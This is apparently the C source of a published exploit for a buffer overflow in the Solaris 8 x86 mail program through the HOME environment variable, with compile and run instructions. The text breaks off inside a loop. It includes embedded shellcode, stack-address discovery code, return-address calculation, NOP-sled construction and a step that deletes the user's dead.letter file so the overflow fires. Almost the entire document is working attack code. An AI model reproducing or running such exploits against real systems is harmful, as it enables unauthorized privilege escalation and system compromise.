/* * Solaris x86 mail HOME environment variable buffer overflow exploit * by Virtualcat (virtualcat@hotmail.com) * (virtualcat@xfocus.org) * (http://www.xfocus.org) * * Compile: gcc -o mailex mailex.c * Run : ./mailex [Adjustment] * * Tested on Solaris 8 (x86). Default should work. */ #include #include #include #define RET_DIS 1028 #define NOP 0x90 #define NNOP 512 #define ENV_VAR "HOME" #define USER_UPPER_MAGIC 0x08047fff /* Shell code taken from Pablo Sor's "mailx -F" exploit code */ char shellCode[]= "\xeb\x1c\x5e\x33\xc0\x33\xdb\xb3\x08\xfe\xc3\x2b\xf3\x88\x06" "\x6a\x06\x50\xb0\x88\x9a\xff\xff\xff\xff\x07\xee\xeb\x06\x90" "\xe8\xdf\xff\xff\xff\x55\x8b\xec\x83\xec\x08\xeb\x5d\x33\xc0" "\xb0\x3a\xfe\xc0\xeb\x16\xc3\x33\xc0\x40\xeb\x10\xc3\x5e\x33" "\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88\x7e\x06\xeb\x05\xe8\xec" "\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f\xc3\x5e\x33\xc0\x89" "\x76\x08\x88\x46\x07\x33\xd2\xb2\x06\x02\xd2\x89\x04\x16\x50" "\x8d\x46\x08\x50\x8b\x46\x08\x50\xe8\xb5\xff\xff\xff\x33\xd2" "\xb2\x06\x02\xd2\x03\xe2\x6a\x01\xe8\xaf\xff\xff\xff\x83\xc4" "\x04\xe8\xc9\xff\xff\xff\x2f\x74\x6d\x70\x2f\x78\x78"; int get_esp() { __asm__("mov %esp,%eax"); } int getEnvAddr(const char* envPtr) { int envAddr = NULL; int retCode = 0; char* charPtr = (char *) get_esp(); /* Search for the starting address of the environment string for */ /* the specified environment variable */ while((unsigned int) charPtr < (unsigned int) USER_UPPER_MAGIC) { retCode = memcmp((unsigned char *) charPtr++, envPtr, 4); /* Found */ if(retCode == 0) { envAddr = (int) (charPtr - 1); break; } } return envAddr; } int main(int argc, char** argv) { char buff[256] = {0}; int* intPtr = NULL; char* buffPtr = NULL; char* charPtr = NULL; int retAddr = 0; int retValue = 0; int buffLen = 0; int adjustment = 0; int strLen = 0; int alignment = 0; int diff = 0; int i; int shellCodeLen = strlen(shellCode); if(argc == 2) { adjustment = atoi(argv[1]); } buffLen = strlen(ENV_VAR) + RET_DIS + NNOP + shellCodeLen + 1; charPtr = getenv(ENV_VAR); /* Adjust the stupid alignment */ strLen = strlen(charPtr) + 1; alignment = strLen % 4; if(alignment != 0) { alignment = 4 - alignment; strLen += alignment; } alignment = buffLen % 4; if(alignment != 0) { alignment = 4 - alignment; buffLen += alignment; } retValue = getEnvAddr(ENV_VAR); diff = buffLen - strLen; retAddr = retValue - diff + strlen(ENV_VAR) + 1; alignment = retAddr % 4; if(alignment != 0) { alignment = 4 - alignment; } retAddr += RET_DIS + alignment + adjustment; /* If the $HOME/dead.letter file exists, then delete it */ /* Otherwise the overfolow won't take place */ strcpy(buff, charPtr); strcat(buff, "/dead.letter"); i = access(buff, F_OK); if(i == 0) { unlink(buff); } /* Allocate memory for the evil buffer */ buffPtr = (char *) malloc(buffLen); if(buffPtr != NULL) { strcpy(buffPtr, ENV_VAR); strcat(buffPtr, "="); charPtr = (char *) (buffPtr + strlen(buffPtr)); /* Fill the rest of the buffer with 'A' */ memset(charPtr, 0x41, buffLen - strlen(buffPtr)); /* Butt in the return address */ intPtr = (int *) (charPtr + RET_DIS); *intPtr++ = retAddr; /* Make sure the NOPs are located word aligned */ charPtr = (char *) intPtr; charPtr += alignment; for(i=0; i